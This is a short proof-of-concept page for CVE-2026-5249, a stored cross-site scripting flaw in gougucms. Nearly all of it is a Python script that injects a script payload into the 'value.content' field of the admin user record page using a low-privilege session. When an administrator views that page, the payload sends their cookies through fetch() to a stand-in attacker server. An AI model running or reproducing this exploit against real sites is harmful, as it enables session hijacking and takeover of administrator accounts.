CVE-2026-5249 gougucms 存储型XSS漏洞

import requests # Target URL (Adjust based on actual installation path) target_url = "http://target.com/index.php/admin/user/record.html" # Attacker controlled server to collect data callback_url = "http://attacker.com/collect" # Malicious payload to be injected into value.content # This payload steals the administrator's cookie and sends it to the attacker xss_payload = f"<script>fetch('{callback_url}?c='+encodeURIComponent(document.cookie))</script>" # Data payload targeting the vulnerable parameter # The parameter name 'value.content' is derived from the vulnerability description post_data = { "value.content": xss_payload, "id": "1" # Assuming an ID is needed to update the record } # Cookies for a low-privilege user (Authentication required: PR:L) cookies = { "PHPSESSID": "valid_low_privilege_session_id" } try: # Send the malicious request response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[*] Wait for an administrator to view the user record page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")